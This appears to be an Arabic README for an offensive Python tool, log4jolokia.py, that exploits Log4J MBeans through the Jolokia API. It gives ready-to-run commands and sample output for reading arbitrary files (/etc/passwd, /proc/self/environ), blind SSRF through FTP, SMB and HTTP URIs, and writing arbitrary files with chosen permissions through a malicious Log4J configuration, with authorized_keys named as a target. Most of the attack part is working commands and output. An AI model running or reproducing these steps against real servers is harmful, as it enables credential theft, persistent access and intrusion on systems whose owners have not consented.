
تنفيذ بلغة Python3 لاستغلال Log4J عبر Jolokia
تطبيق Python3 للاستفادة من Log4J MBeans واستغلالها عبر Jolokia
مساعدة عامة:
usage: log4jolokia.py [-h] [-u [USER]] [-p [PASSWD]] [--proxy [PROXY]] [-H [HEADER]] {exec_jar,write_file,read_file,exec_script} [{exec_jar,write_file,read_file,exec_script} ...] target [target ...]
positional arguments:
{exec_jar,write_file,read_file,exec_script}
choose mode: exec_jar | write_file | read_file | exec_script
target URL to jolokia (e.g. http://127.0.0.1:8161/console/jolokia)
options:
-h, --help show this help message and exit
-u [USER], --user [USER]
Jolokia username
-p [PASSWD], --passwd [PASSWD]
Jolokia password
--proxy [PROXY] Optional HTTP(S) Proxy (e.g. burp at http://127.0.0.1:8080)
-H [HEADER], --header [HEADER]
Other required custom HTTP headers (e.g. -H "Origin: http://localhost"
-H "Referrer: http://localhost")
ملاحظة: تختلف المساعدة في بعض الأقسام اعتمادًا على الوضع الذي تحدده.
يحتوي البرنامج على أوضاع الاستغلال الأربعة التالية:
من خلال تعديل خاصية "ConfigLocationUri" في Log4J وقراءة المحتوى الجديد لخاصية "ConfigText" (باستخدام الدالة "getConfigText(String)" أو تنفيذ إجراء "read" عبر Jolokia على خاصية "ConfigText") عبر واجهة Jolokia API، يمكن للمهاجم قراءة ملفات عشوائية.
ملاحظة: في هذه الحالة سنستخدم ناقل القراءة "getConfigText(String)" لأننا نستطيع استرجاع تمثيل دقيق بالبايت لمخرجات الملفات بترميز "latin-1".
ملاحظة 2: يمكن أيضًا استخدام هذا الناقل للوصول إلى خوادم غير قابلة للوصول إليها أو داخلية:
المساعدة - معلمات خاصة بقراءة ملف:
$ python3 log4jolokia.py read_file http://a -h
***TRUNCATED***
-r [READ], --read [READ]
Absolute or relative path of a file to read on target (Use only with mode: read_file)
Example commands:
- Absolute Path:
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r /etc/passwd -u admin -p admin -H 'Origin: http://localhost'
- Relative Path:
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ./artemis -u admin -p admin -H 'Origin: http://localhost'
- Specific Protocol:
-- FTP:
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ftp://test:[email protected]:22/test -u admin -p admin -H 'Origin: http://localhost'
-- SMB (Windows only):
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r file:////127.0.0.1/C/test -u admin -p admin -H 'Origin: http://localhost'
-- HTTP SSRF (Usually no output a.k.a. Blind SSRF):
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r 'http://127.0.0.1:80/test?test=test' -u admin -p admin -H 'Origin: http://localhost'
مثال - قراءة "/etc/passwd":
$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /etc/passwd
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /etc/passwd
[+] Successfully set ConfigLocationUri to "/etc/passwd"
[.] Reading file output from ConfigText
[+] Content of "/etc/passwd":
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
***TRUNCATED***
مثال - قراءة "/proc/self/environ" (يحتوي المحتوى على أحرف غير قابلة للطباعة (مثل البايتات الخالية) لذا سيكون الناتج مشفرًا بـ base64):
$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /proc/self/environ
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /proc/self/environ
[+] Successfully set ConfigLocationUri to "/proc/self/environ"
[.] Reading file output from ConfigText
[.] File "/proc/self/environ" contains non-printable characters, displaying base64 encoding
[+] Base64 content of "/proc/self/environ":
TEVTU09QRU49fCAvdXNyL2Jpbi9sZXNzcGlwZSAlcwBNQUlMPS92YXIvbWFpbC9jdGYAVVNFUj1jdGYATENfVElNRUZJLlVURi04AFNIT***TRUNCATED***
من خلال إنشاء إعداد Log4J خبيث وتحميله، يمكننا استغلال قيم معلمتي "RollingFile -> fileName" (مكان الكتابة) و"Pattern" (ما يُكتب) لكتابة محتوى عشوائي في مواقع عشوائية. في هذه الحالة، ننشئ إعدادات Log4J خبيثة بصيغة XML ونستغل الدالة "setConfigText(String, String)".
ملاحظة: لكتابة ملفات ثنائية معقدة، ولأن صيغة XML تحتوي على أحرف تحكم مقيدة محددة، تم استخدام صيغ إعداد أخرى مدعومة (مثل Properties) في عملية كتابة من خطوتين.
المساعدة - معلمات خاصة بكتابة ملف:
$ python3 log4jolokia.py write_file http://a -h
***TRUNCATED***
-lf [LOCAL_FILE], --local_file [LOCAL_FILE]
Path to local file to be written on the target (Use only with mode: write_file)
-w [WRITE], --write [WRITE]
Path of file to be written on the target (Use only with mode: write_file)
-P [PERM], --perm [PERM]
Permissions of the file written on the target. Useful for files like "authorized_keys" that require "rw-------". (Default value is "rwxrwx---") (Use only with mode: write_file)
--tmp_dir [TMP_DIR] Location of a writable directory. (Default value is "/tmp")
E.g. Unix == /tmp
Windows == C:/Users/Public
Example command:
python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -lf 00-ff.txt -w /tmp/test_write -u admin -p admin -H 'Origin: http://localhost'
مثال - كتابة "test" إلى "/tmp/test":
$ echo test > t.txt
$ python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -lf t.txt -w /tmp/test --proxy http://127.0.0.1:8080
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Reading content from t.txt
[.] Generating Log4J configuration
[+] Generated Log4J XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[.] Checking that the file "/tmp/test" was written successfully on the target
[+] File "/tmp/test" has been successfully written on the target